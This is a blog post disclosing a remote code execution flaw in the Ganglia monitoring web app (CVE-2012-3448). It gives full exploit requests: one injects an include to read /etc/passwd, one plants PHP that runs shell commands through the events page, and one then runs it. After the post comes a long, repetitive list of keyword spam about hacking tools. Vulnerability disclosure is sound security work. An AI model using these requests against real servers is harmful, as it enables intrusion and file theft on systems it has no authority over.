Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448

Read more


  1. Pentest Tools Url Fuzzer
  2. Best Hacking Tools 2019
  3. Hacker Tools List
  4. Hacking Tools Pc
  5. New Hack Tools
  6. Pentest Tools For Mac
  7. Pentest Tools Free
  8. World No 1 Hacker Software
  9. Pentest Recon Tools
  10. How To Install Pentest Tools In Ubuntu
  11. Hack Tools Github
  12. Hacker Tools For Windows
  13. Nsa Hack Tools
  14. New Hack Tools
  15. Hack Tools 2019
  16. Pentest Tools Website Vulnerability
  17. How To Make Hacking Tools
  18. Hacker Tools 2019
  19. Ethical Hacker Tools
  20. Hacking Tools Free Download
  21. Pentest Tools For Ubuntu
  22. Physical Pentest Tools
  23. Hacker Hardware Tools
  24. Tools 4 Hack
  25. Pentest Tools For Windows
  26. Pentest Tools Website Vulnerability
  27. Pentest Tools Apk
  28. Hack Tools For Windows
  29. Hacker Tools Software
  30. Hacker Tools For Pc
  31. Pentest Tools Online
  32. Wifi Hacker Tools For Windows
  33. Hacker Tools Windows
  34. Hacking Tools Pc
  35. Hacker Tools Mac
  36. Hacker Tool Kit
  37. Hack Apps
  38. Hack Tool Apk No Root
  39. Hack Apps
  40. Pentest Tools Review
  41. Free Pentest Tools For Windows
  42. Pentest Tools For Windows
  43. Pentest Tools Tcp Port Scanner
  44. Hack Tools Pc
  45. What Are Hacking Tools
  46. Nsa Hack Tools
  47. Pentest Tools
  48. Hack Tools Github
  49. Hacking Tools For Windows
  50. Hack And Tools
  51. What Are Hacking Tools
  52. Hacking Tools Download
  53. Usb Pentest Tools
  54. Free Pentest Tools For Windows
  55. Hacking Tools For Windows Free Download
  56. Easy Hack Tools
  57. Pentest Tools Tcp Port Scanner
  58. Underground Hacker Sites
  59. Physical Pentest Tools
  60. Pentest Tools Free
  61. Pentest Tools For Android
  62. Hacking Tools Name
  63. Hacking Tools Hardware
  64. Hack Tools
  65. Pentest Tools Kali Linux
  66. Hack Tools 2019
  67. Pentest Tools Port Scanner
  68. Hack Apps
  69. Pentest Tools Download
  70. Nsa Hack Tools Download
  71. Pentest Automation Tools
  72. Hack Rom Tools
  73. Hacker Tools Github
  74. Tools Used For Hacking
  75. Hackers Toolbox
  76. Nsa Hack Tools Download
  77. Pentest Tools List
  78. Hacking Tools Online
  79. Hacking Tools Hardware
  80. Hacking Tools Software
  81. Physical Pentest Tools
  82. Hacking Tools Kit
  83. Hacking Tools Free Download
  84. Hacking Tools
  85. What Are Hacking Tools
  86. Pentest Tools Open Source
  87. Pentest Tools Website Vulnerability
  88. Pentest Tools Website Vulnerability
  89. Hacking Tools Hardware
  90. Pentest Tools Online
  91. Hacker Tools List
  92. Hack Tools For Windows
  93. Hack Website Online Tool
  94. Hacker Tools List
  95. Hack Website Online Tool
  96. Beginner Hacker Tools
  97. Hak5 Tools
  98. Pentest Tools Linux
  99. Hack Tools Download
  100. Pentest Tools Tcp Port Scanner
  101. Hacking Tools Hardware
  102. Hack Tools Github
  103. Hack Apps
  104. Hacker Tools Hardware
  105. Pentest Tools Port Scanner
  106. Pentest Tools For Windows
  107. Pentest Box Tools Download
  108. Hacking Tools For Windows 7
  109. Hacking Tools Pc
  110. Pentest Tools For Ubuntu
  111. Pentest Tools Bluekeep
  112. Hacking Tools Github
  113. Hack Tool Apk No Root
  114. Hacks And Tools
  115. Github Hacking Tools
  116. Pentest Tools Online
  117. Hacking Tools Usb
  118. Hacks And Tools
  119. Hacking Tools Free Download
  120. Hacking Tools And Software
  121. Pentest Tools Website Vulnerability
  122. Pentest Tools Github
  123. Hacker Search Tools
  124. How To Hack